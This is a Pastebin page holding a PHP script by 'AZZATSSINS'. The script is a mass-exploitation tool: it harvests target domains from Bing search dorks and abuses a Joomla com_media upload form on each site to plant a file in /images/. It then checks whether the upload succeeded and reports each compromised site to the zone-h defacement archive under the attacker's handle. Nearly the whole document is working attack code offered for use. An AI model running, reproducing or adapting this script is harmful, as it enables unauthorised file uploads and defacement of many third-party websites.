Advertisement
AZZATSSINS_CYBERSERK

tai

Jun 25th, 2016
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.29 KB | None | 0 0
  1. <?php
  2. @ini_set('output_buffering',0);
  3. @ini_set('display_errors', 0);
  4. $zh = "AZZATSSINS";
  5. function getsource($url,$post=null) {
  6.         $ch = curl_init($url);
  7.         if($post != null) {
  8.             curl_setopt($ch, CURLOPT_POST, true);
  9.             curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  10.         }
  11.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12.             curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  13.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  14.             curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  15.             curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  16.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  17.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  18.             curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  19.         return curl_exec($ch);
  20.             curl_close($ch);
  21.     }
  22. echo "\nDork Bing: ";$dork=trim(fgets(STDIN,1024));
  23. $do=urlencode($dork);
  24.         $npage = 1;
  25.         $npages = 30000;
  26.         $allLinks = array();
  27.         $lll = array();
  28.         while($npage <= $npages) {
  29.             $x = getsource("http://www.bing.com/search?q=".$do."&first=" . $npage."&FORM=PERE4");
  30.             if ($x) {
  31.                 preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  32.                 foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  33.                 $npage = $npage + 10;
  34.                 if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  35.             } else break;
  36.         }
  37.         $URLs = array();
  38.         foreach($allLinks as $url){
  39.             $exp = explode("/", $url);
  40.             $URLs[] = $exp[2];
  41.         }
  42.         $array = array_filter($URLs);
  43.         $array = array_unique($array);
  44.         $sss=count(array_unique($array));
  45.                 echo"\nReady to fuck ". $sss." site";
  46.  
  47.         foreach ($array as $domain) {
  48.         $_SESSION[$domain] = "1";  
  49.         // set var all site + path to x
  50.         $domain1 = "http://$domain"; // URL TARGET
  51.         $domain_exploit = $domain1."/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder="; // URL to Exploit
  52. $target = $domain_exploit;
  53. $azzatssins = "azx.txt";
  54. $pwnz= "$domain1/images/$azzatssins";
  55.  
  56.  $ch4 = curl_init ($target);
  57.                     curl_setopt ($ch4, CURLOPT_RETURNTRANSFER, 1);
  58.                     curl_setopt ($ch4, CURLOPT_FOLLOWLOCATION, 1);
  59.                     curl_setopt ($ch4, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  60.                     curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
  61.                     curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
  62.                     curl_setopt($ch4, CURLOPT_COOKIEJAR,'coker_log');
  63.                 curl_setopt($ch4, CURLOPT_COOKIEFILE,'coker_log');
  64.                
  65.                     $data = curl_exec ($ch4);
  66.                     curl_close($ch4);
  67.  
  68.                     preg_match("/<form action=\"(.*?)\" id=\"uploadForm\"/", $data, $action);
  69.                     preg_match("/name=\"return-url\" value=\"(.*?)\"/", $data, $return);
  70.                     $action = $action[1];
  71.                     echo "$action\n";
  72.                     echo "$return[1]\n";
  73.  
  74.  
  75. $post = array("Filedata[]" => "@$file",
  76.         "return-url" => "$return[1]",
  77.            
  78.             );
  79.  
  80.                    
  81.                     $ch2 = curl_init ("$action");
  82.                     curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
  83.                     curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
  84.                     curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
  85.                     curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
  86.                     curl_setopt ($ch2, CURLOPT_POST, 1);
  87.                     curl_setopt ($ch2, CURLOPT_POSTFIELDS, $post);
  88.                     curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
  89.                 curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
  90.                     $data2 = curl_exec ($ch2);
  91.                                    
  92. curl_close($ch2);
  93.  
  94. $a = file_get_contents($pwnz);
  95. if(preg_match("/AZZATSSINS/i", $a)){
  96.     echo "Exploit success => $domain1\nUrl : $pwnz\n";
  97. echo "[+] zone-h: ";
  98.                         $ch3 = curl_init ("http://www.zone-h.com/notify/single");
  99.                         curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
  100.                         curl_setopt ($ch3, CURLOPT_POST, 1);
  101.                         curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=$zh&domain1=$pwnz&hackmode=1&reason=1");
  102.                        
  103.         if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3))){
  104.                 echo  " OK - notified by $zh \n";}
  105.     else{
  106.                 echo " Error \n";
  107.             }
  108.     }
  109.  
  110. else{
  111.     echo "Exploit failed\n\n";
  112.             }
  113.         }
  114. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement